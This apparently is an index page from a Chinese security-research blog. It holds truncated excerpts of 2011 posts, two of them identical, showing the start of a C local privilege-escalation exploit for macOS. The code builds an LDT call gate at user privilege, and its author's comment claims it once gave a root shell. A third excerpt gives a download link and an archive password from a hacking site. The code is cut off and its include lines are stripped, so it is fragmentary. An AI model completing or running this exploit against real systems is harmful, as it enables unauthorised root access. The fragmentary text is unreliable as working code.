SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
2011-09-30
include
include
include
include
include
include
void dummy_func( void ) { asm volatile( ".byte 0xff" ); }
int main( void )
{
int ret;
union ldt_entry cgate, cgate2;
char dummy[128] = {0x00,};
cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff;
cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff;
/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
The normal system has a little different environment.
I have no time for this anymore because of my summer break is over.
So.. Good Luck! */
cgate.call_gate.argcnt = 0;
cgate.call_gate.type = 0xc; // DESC_CALL_GATE
cgate.call_gate.dpl = 3;
cgate.call_gate.present = 1;
cgate.call_gate.seg......
阅读全文 →
2011-09-30
include
include
include
include
include
include
void dummy_func( void ) { asm volatile( ".byte 0xff" ); }
int main( void )
{
int ret;
union ldt_entry cgate, cgate2;
char dummy[128] = {0x00,};
cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff;
cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff;
/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
The normal system has a little different environment.
I have no time for this anymore because of my summer break is over.
So.. Good Luck! */
cgate.call_gate.argcnt = 0;
cgate.call_gate.type = 0xc; // DESC_CALL_GATE
cgate.call_gate.dpl = 3;
cgate.call_gate.present = 1;
cgate.call_gate.seg......
阅读全文 →
2011-09-30
下载地址：http://115.com/file/dn0a2bim
解压密码:www.mythhack.com
阅读全文 →